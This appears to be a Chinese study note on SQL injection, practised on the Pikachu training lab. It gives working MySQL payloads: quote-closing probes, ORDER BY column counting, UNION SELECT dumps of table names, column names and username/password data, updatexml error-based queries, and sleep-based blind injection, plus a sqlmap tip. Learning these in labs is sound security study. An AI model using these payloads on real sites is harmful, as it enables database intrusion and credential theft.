这段时间,我重新基础的系统的学习了sql,对sql有了更清晰的认知。
为了展示我这段时间的成果,我以pikachu为例题演示。
数字型注入,字符型注入,搜索型注入
sql分为数字型注入和字符型注入,其中最大的区别是加不加 ' ,而这根本的原因是代码编写时数字型只录入数字,而字符变量本身的输入需要' ' 括住,所以在sql注入时,注入语句因为需要被执行,所以要先闭合' 再注入,搜索型采用like语句,其中有可能源代码长这样'% %',所以闭合语句时要加 %' 再注入。
举例:数字型注入
这里的输入是选择框,并且没有在url上显示,猜测是post提交,需要抓包进行操作。
(用bp)发送给repeater(方便快速操作),
在这里,总结一下sql注入的基本操作,
因为市面上有很多不同的数据库,所以方式不完全相同,以MySQL为例。
手工注入
注:如果不是url,--+变成#,数字型不需要注释,
闭合方式的判断
1 1' 1" 1") 1')
1.直接闭合看是否报错
2.注释后(#)是否正常
3.加 or 1=1是否正确(针对无回显情况)
1.确定是什么类型的注入(数字/字符)
2.查看表中有多少列
id = -1 order by n --+
(注:id取-1是为了报错显示,有些网站需要这样才能看到注入结果。n取从1到n,--+是在url中的注释,有时需要)
当n-1正常,而n错误时,说明有n-1列。
3.查看可以回显的位置(有的数据库需要用NULL),通常用联合查询
id = -1 union select 1,2,...,n-1 --+
在网站上看显示出了哪些数字,得到我们可以用的位置
之后都在在那些位置注入sql语句
4. 查询数据库名,版本号,采用合适的方式注入,
database(),version()
这里主要是因为MySQL中有特殊的表
information_schema,information_tables,information_colunms
储存了所有的数据库名,表名,列名
5.暴表名,列名
表名
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() ,...,n-1 --+
或者database()直接用查到的名字,注意两边加 ' ' 。
列名
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database(),...,n-1 --+
6.最后,查询表单内容即可
id=-1 union select group_concat(username列名),group_concat(password列名) from users表名 ,...,n-1 --+
除此之外,另外和其他知识结合 :
1.别的查询方式(like,XX型...),选择不同的闭合方式
2.编码绕过
3.提交方式不同(位置)(抓包,User-Agent,https header等等)
4.回显方式不同(无回显,也称盲注)
(1)如果有报错函数,可以报错回显。
格式:
?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+
(2)没有报错函数,采用延迟函数,sleep(),用判断语句,若执行延迟,证明猜想正确。
无回显比较麻烦,需要一个个猜,一般采用工具完成。
需要在注入语句的基础上,学习绕过方式,达成目的。
返回来,按照方法进行注入
2.
3.
4.
5.(1)表
(2)列
6.
工具注入(sqlmap)
2024.4.5
这些是最基本的操作,在sqlmap中,如果遇到post提交,
使用bp抓包,保存成 txt 文件,-p操作